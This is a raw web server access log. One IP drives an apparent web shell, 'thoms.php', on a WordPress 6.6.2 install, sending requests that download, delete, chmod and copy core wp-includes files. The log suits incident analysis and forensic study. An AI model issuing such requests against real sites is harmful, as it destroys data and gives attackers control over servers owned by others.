45.135.193.11 - - [11/Sep/2026:23:33:12 -0400] "GET /thoms.php?dl=class-wp-list-util.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-list-util.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:12 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?dl=class-wp-list-util.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:12 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class.wp-scripts.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class.wp-scripts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:12 -0400] "GET /thoms.php?chmod=ms-default-filters.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=ms-default-filters.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:12 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22218 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class.wp-scripts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:12 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?chmod=ms-default-filters.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:12 -0400] "GET /thoms.php?del=post.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=post.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:12 -0400] "GET /thoms.php?dl=class-wp-block-patterns-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-patterns-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:12 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=post.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:12 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=class-wp-block-patterns-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:12 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-feed.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-feed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:12 -0400] "GET /thoms.php?dl=class-wp-feed-cache-transient.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-feed-cache-transient.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:12 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22240 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-feed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:12 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?dl=class-wp-feed-cache-transient.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:13 -0400] "GET /thoms.php?dl=class-wp-matchesmapregex.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-matchesmapregex.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:13 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-site.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-site.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:13 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=class-wp-matchesmapregex.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:13 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22215 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-site.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:13 -0400] "GET /thoms.php?del=class-wp-walker.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-walker.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:13 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fphp-compat HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fphp-compat" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:13 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=class-wp-walker.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:13 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22311 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fphp-compat" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:13 -0400] "GET /thoms.php?chmod=PHPMailer&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=PHPMailer&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:13 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2FRequests&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2FRequests&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:13 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=PHPMailer&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:13 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22240 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2FRequests&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:13 -0400] "GET /thoms.php?dl=block-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=block-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:13 -0400] "GET /thoms.php?chmod=class.wp-styles.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class.wp-styles.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:13 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22212 "https://163.245.207.76:443/thoms.php?dl=block-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:13 -0400] "GET /thoms.php?del=embed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=embed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:13 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?chmod=class.wp-styles.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:13 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fsitemaps.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fsitemaps.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:13 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=embed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:13 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22135 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fsitemaps.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:14 -0400] "GET /thoms.php?del=pomo&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=pomo&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:14 -0400] "GET /thoms.php?chmod=bookmark.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=bookmark.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:14 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?del=pomo&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:14 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22219 "https://163.245.207.76:443/thoms.php?chmod=bookmark.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:14 -0400] "GET /thoms.php?del=class-wp-customize-widgets.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-widgets.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:14 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-http-curl.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-http-curl.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:14 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=class-wp-customize-widgets.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:14 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22286 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-http-curl.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:14 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-textdomain-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-textdomain-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:14 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fpost-thumbnail-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fpost-thumbnail-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:14 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22176 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-textdomain-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:14 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fpost-thumbnail-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:14 -0400] "GET /thoms.php?dl=widgets.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=widgets.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:14 -0400] "GET /thoms.php?del=class-wp-block-parser.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-block-parser.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:14 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=widgets.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:14 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?del=class-wp-block-parser.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:14 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fhtml-api HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fhtml-api" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:14 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-editor.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:14 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fhtml-api" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:15 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:15 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-http-ixr-client.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-http-ixr-client.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:15 -0400] "GET /thoms.php?del=class-wp-site.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-site.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:15 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-http-ixr-client.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:15 -0400] "GET /thoms.php?chmod=ms-files.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=ms-files.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:15 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22215 "https://163.245.207.76:443/thoms.php?del=class-wp-site.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:15 -0400] "GET /thoms.php?dl=option.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=option.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:15 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=ms-files.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:15 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=option.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:15 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fblock-bindings.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fblock-bindings.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:15 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wpdb.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wpdb.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:15 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fblock-bindings.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:15 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=sitemaps.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=sitemaps.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:15 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wpdb.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:15 -0400] "GET /thoms.php?dl=sitemaps.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=sitemaps.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
